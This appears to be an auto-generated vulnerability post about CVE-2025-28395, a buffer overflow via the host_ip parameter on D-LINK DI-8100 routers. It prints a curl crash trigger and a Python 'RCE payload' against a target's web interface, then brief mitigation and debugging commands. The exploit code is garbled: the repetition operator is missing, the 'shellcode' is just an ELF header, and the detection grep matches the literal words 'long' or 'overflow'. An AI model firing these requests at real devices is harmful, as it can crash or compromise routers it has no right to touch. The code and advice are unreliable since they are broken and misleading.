Listen to this Post
How the CVE Works
CVE-2025-28395 exploits a buffer overflow vulnerability in the `ipsec_road_asp` function of D-LINK DI-8100 firmware version 16.07.26A1. The flaw occurs when processing the `host_ip` parameter, where improper bounds checking allows an attacker to overwrite adjacent memory regions. By sending a specially crafted HTTP request with an excessively long `host_ip` value, remote code execution (RCE) can be achieved. The vulnerability is reachable via unauthenticated network access, making it critical. Attackers leverage this to bypass security controls, execute arbitrary shell commands, or crash the device.
DailyCVE Form
Platform: D-LINK DI-8100
Version: 16.07.26A1
Vulnerability: Buffer Overflow
Severity: Critical
Date: 04/15/2025
What Undercode Say:
Exploitation
1. Crash Trigger:
curl -X POST "http://<TARGET_IP>/ipsec_road_asp" -d "host_ip=$(python -c 'print("A"2000)')"
2. RCE Payload:
import socket
payload = b"host_ip=" + b"A"1024 + b"\x7f\x45\x4c\x46" Example shellcode
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(("<TARGET_IP>", 80))
sock.send(b"POST /ipsec_road_asp HTTP/1.1\r\nHost: target\r\n\r\n" + payload)
Protection
1. Patch: Apply vendor firmware update (if available).
2. Mitigation:
iptables -A INPUT -p tcp --dport 80 -m string --string "host_ip=" --algo bm -j DROP
3. Detection:
grep "ipsec_road_asp" /var/log/httpd.log | egrep -i "long|overflow"
Analysis
- Memory Dump:
gdb -q /usr/sbin/httpd -ex "set follow-fork-mode child" -ex "r"
- Debugging:
strace -f -e trace=execve -p <PID>
References
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
